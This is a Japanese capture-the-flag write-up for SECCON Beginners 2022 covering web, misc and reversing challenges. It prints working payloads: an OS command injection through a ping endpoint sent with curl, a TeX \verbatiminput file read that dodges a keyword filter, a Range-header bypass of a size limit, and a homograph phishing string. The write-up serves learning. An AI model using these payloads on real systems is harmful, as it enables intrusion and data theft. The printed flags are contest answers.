SECCON Begginers 2022 に会社の同期と greenapple として出場しました。Web を全巻できなかったのが悔しい…
web
Util
ctf4b networks 社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも…? (注意) SECCON Beginners 運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
提供されているソースコードを見てみると、上記のように OS command Injection が可能であることがわかる。
if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address))
入力内容のチェック自体はクライアントのみで行われていたので、curl で送信すれば良さそう。
curl 'https://util.quals.beginners.seccon.jp/util/ping' -X POST -H 'Content-Type: application/json' -d '{"address": "0.0.0.0; ls /"}'
# {"result":"PING 0.0.0.0 (0.0.0.0): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.150 ms\n\n--- 0.0.0.0 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.150/0.150/0.150 ms\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
curl 'https://util.quals.beginners.seccon.jp/util/ping' -X POST -H 'Content-Type: application/json' -d '{"address": "0.0.0.0; cat /flag_A74FIBkN9sELAjOc.txt"}'
# {"result":"PING 0.0.0.0 (0.0.0.0): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.117 ms\n\n--- 0.0.0.0 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.117/0.117/0.117 ms\nctf4b{al1_0vers_4re_i1l}\n"}
textex
tex を pdf にするサービスを作りました。 tex で攻撃することはできますか?
サーバーサイドは Flask で動いていて、以下のプログラムで tex -> pdf への変換が実行されている。
subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
また、以下のように flag
という文字列に対してバリデーションがかかっているため、マクロ定義を使って flag
という文字列を分割して呼び出す必要がある。
if "flag" in tex_code.lower():
tex_code = ""
tex に関する脆弱性を調べてみると、tex ファイルから任意コード実行可能であることが分かった。
ただ、この脆弱性に関しては既に対策が実施 (デフォルトの shell_escape_commands
から mpost が外されている) されているため、別のアプローチを考える必要がある。
与えられたソースコードから、/var/www/flag
にフラグがあるということは分かっていたので、\input
でフラグのファイルを参照すると良さそうだなと思い実行してみたが、エラーが返ってきてしまった。
これは、フラグ中に記号 ({
) が含まれていることが原因。
外部ファイル読み込みと、読み込み結果をそのまま出力するコマンドがないか検索したところ、\verbatiminput
というコマンドがあることが分かった。
以下の内容を送信するとフラグが得られた。
\documentclass{article}
\def\f{fl}
\def\a{ag}
\usepackage{verbatim}
\begin{document}
\verbatiminput{/var/www/\f\a}
\end{document}
gallary
絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた? 仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず…だよね?
flag
や .
という文字列に対してサーバー側で弾かれるようになっている。
fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
ただ、f
や fl
みたいな文字列はバリデーションを通過できてしまう。
/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
にアクセスして終わり!かと思いきや、サーバー側でレスポンスサイズの制限がされていて、そのままでは pdf をダウンロードできない。
func (w *MyResponseWriter) Write(data []byte) (int, error) {
filledVal := []byte("?")
length := len(data)
if length > w.lengthLimit {
w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
return length, nil
}
w.ResponseWriter.Write(data[:length])
return length, nil
}
func middleware() func(http.Handler) http.Handler {
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
})
}
}
pdf ファイル自体は go の http.FileServer
を使って配信されていたので、その実装を見てみる。
上記のリンク先からhttp.FileServer
は partial request に対応していることが分かった。
リクエストに Range
ヘッダーを付けて分割ダウンロードすれば大丈夫そうなので、上限に引っかからない範囲を指定して curl でリクエストを送信したところ、フラグが得られた。
curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -r 0-10239 -o result1
curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -r 10240- -o result2
cat result1 result2 > flag.pdf
misc
phisher
ホモグラフ攻撃を体験してみましょう。 心配しないで!相手は人間ではありません。
- 文字列を入力
- 文字列と
www.example.com
が部分一致しているかチェック (一文字でも一致してたらダメ) - 入力された文字列を OCR で画像に変換
- 画像から文字列に再び変換
www.example.com
と比較して完全一致したらフラグ獲得
みたいな感じ。似ている文字を探し出して渡してあげれば OK。
nc phisher.quals.beginners.seccon.jp 44322
_ _ _ ____ __
_ __ | |__ (_)___| |__ ___ _ __ / /\ \ / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / / \ \/ /
| |_) | | | | \__ \ | | | __/ | \ \ / /\ \
| .__/|_| |_|_|___/_| |_|\___|_| \_\/_/ \_\
|_|
FQDN: ωωω․ехàⅿрⅼе․соⅿ
ctf4b{n16h7_ph15h1n6_15_600d}
H2 (69 pt)
バージョン 2 です。
pcap ファイルと go ファイルが配布されていた。
go の実装中にヘッダーをセットする記述があったので、ヘッダーの名前が x-flag
であるようなリクエストを検索すれば良さそうかな?と思った。
if r.URL.Path == SECRET_PATH {
w.Header().Set("x-flag", "<secret>")
}
wireshark で pcap ファイルを開いて、http2.header.name == x-flag
で検索したらフラグが得られた。
hitchhike4b
help を呼び出したら、ページャーとして猫が来ました。
実行してみた感じ、__main__
の内容と、モジュールとして読み込んだ場合の内容が取得できれば行けそうだった。
_ _ _ _ _ _ _ _ _ _
| |__ (_) |_ ___| |__ | |__ (_) | _____| || | | |__
| '_ \| | __/ __| '_ \| '_ \| | |/ / _ \ || |_| '_ \
| | | | | || (__| | | | | | | | < __/__ _| |_) |
|_| |_|_|\__\___|_| |_|_| |_|_|_|\_\___| |_| |_.__/
----------------------------------------------------------------------------------------------------
# Source Code
import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)
if __name__ == "__main__":
flag1 = "********************FLAG_PART_1********************"
help() # I need somebody ...
if __name__ != "__main__":
flag2 = "********************FLAG_PART_2********************"
help() # Not just anybody ...
----------------------------------------------------------------------------------------------------
Welcome to Python 3.10's help utility!
If this is your first time using Python, you should definitely check out
the tutorial on the internet at https://docs.python.org/3.10/tutorial/.
Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules. To quit this help utility and
return to the interpreter, just type "quit".
To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics". Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".
help> __main__
Help on module __main__:
NAME
__main__
DATA
__annotations__ = {}
flag1 = 'ctf4b{53cc0n_15_1n_m'
FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
...
help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:
NAME
app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
DATA
flag2 = 'y_34r5_4nd_1n_my_3y35}'
FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
__main__
の内容を表示した後 help にファイル名を渡してあげると、新しい help のインタープリタが起動した。もう一回ファイル名を渡してモジュールに関するヘルプを出してみるとフラグの後半が得られた。
reversing
Quiz
クイズに答えよう!
試しにバイナリを実行してみる。
./quiz
Welcome, it's time for the binary quiz!
ようこそ、バイナリクイズの時間です!
Q1. What is the executable file's format used in Linux called?
Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか?
1) ELM 2) ELF 3) ELR
Answer : 2
Correct!
Q2. What is system call number 59 on 64-bit Linux?
64bit Linuxにおけるシステムコール番号59はなんでしょうか?
1) execve 2) folk 3) open
Answer : 1
Correct!
Q3. Which command is used to extract the readable strings contained in the file?
ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか?
1) file 2) strings 3) readelf
Answer : 2
Correct!
Q4. What is flag?
フラグはなんでしょうか?
Answer :
strings コマンドを使えばフラグが得られそうだと分かったので、バイナリを strings コマンドで解析したらフラグが得られた。
strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}